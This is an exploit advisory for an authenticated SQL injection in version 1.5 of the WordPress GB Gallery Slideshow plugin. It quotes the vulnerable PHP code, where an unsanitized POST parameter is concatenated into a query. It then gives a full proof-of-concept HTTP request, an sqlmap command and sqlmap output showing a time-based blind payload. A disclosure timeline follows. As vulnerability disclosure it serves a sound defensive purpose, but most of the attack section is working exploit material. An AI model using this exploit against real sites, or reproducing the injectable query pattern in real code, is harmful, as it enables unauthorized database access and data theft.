###################### # Exploit Title : Wordpress GB Gallery Slideshow 1.5 Authenticated SQL Injection # Exploit Author : Claudio Viviani # Vendor Homepage : http://gb-plugins.com/ # Software Link : http://downloads.wordpress.org/plugin/gb-gallery-slideshow.1.5.zip # Date : 2014-08-09 # Tested on : Linux / sqlmap 1.0-dev-5b2ded0 Linux / Mozilla Firefox ###################### # Location : http://localhost/wp-content/plugins/gb-gallery-slideshow/GBgallery.php ###################### # Vulnerable code : if(isset($_POST['selected_group'])){ global $gb_post_type, $gb_group_table, $wpdb; $my_group_id = $_POST['selected_group']; $my_group = $wpdb->get_results( "SELECT groups FROM $gb_group_table WHERE id = ".$my_group_id ); $args = array( $_POST['selected_group'] it's not sanitized. ###################### PoC Exploit: POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1 Accept-language: en-us,en;q=0.5 Accept-encoding: gzip,deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 User-agent: sqlmap/1.0-dev-5b2ded0 (http://sqlmap.org) Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: 10.0.0.67 Cookie: wordpress_75aacd302e2a4723897cb1d154c13f77=pippo%7C1407707530%7C5ae003a01e51c11e530c14f6149c9d07; wp-settings-time-1=1407537471; wp-settings-time-2=1406916594; wp-settings-1=editor%3Dtinymce%26libraryContent%3Dbrowse; voted_2=6; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_75aacd302e2a4723897cb1d154c13f77=pippo%7C1407707530%7C6988bc86de7b7790fca51ea294e171a1; redux_current_tab=3 Pragma: no-cache Cache-control: no-cache,no-store Content-type: application/x-www-form-urlencoded; charset=utf-8 Content-length: 120 Connection: close action=gb_ajax_get_group&gb_nonce=5356513fbe&selected_group=[SQL_Injection] Exploit via sqlmap: sqlmap --cookie='INSERT_WORDPRESS_COOKIE_HERE' -u "http://localhost/wp-admin/admin-ajax.php" \ --data="action=gb_ajax_get_group&gb_nonce=5356513fbe&selected_group=2" -p selected_group --dbms=mysql --- Place: POST Parameter: selected_group Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: action=gb_ajax_get_group&gb_nonce=5356513fbe&selected_group=2 AND SLEEP(5) Vector: AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) --- PoC Video: https://www.youtube.com/watch?v=CoPVqXwE3W4 ###################### # Vulnerability Disclosure Timeline: 2014-08-09: Discovered vulnerability 2014-08-09: Vendor Notification (Web Customers Service Form) 2014-08-10: Vendor Response/Feedback 2014-08-11: Vendor Fix/Patch 2014-08-11: Public Disclosure ##################### Discovered By : Claudio Viviani http://www.homelab.it info@homelab.it homelabit@protonmail.ch https://www.facebook.com/homelabit https://twitter.com/homelabit https://plus.google.com/+HomelabIt1/ https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww #####################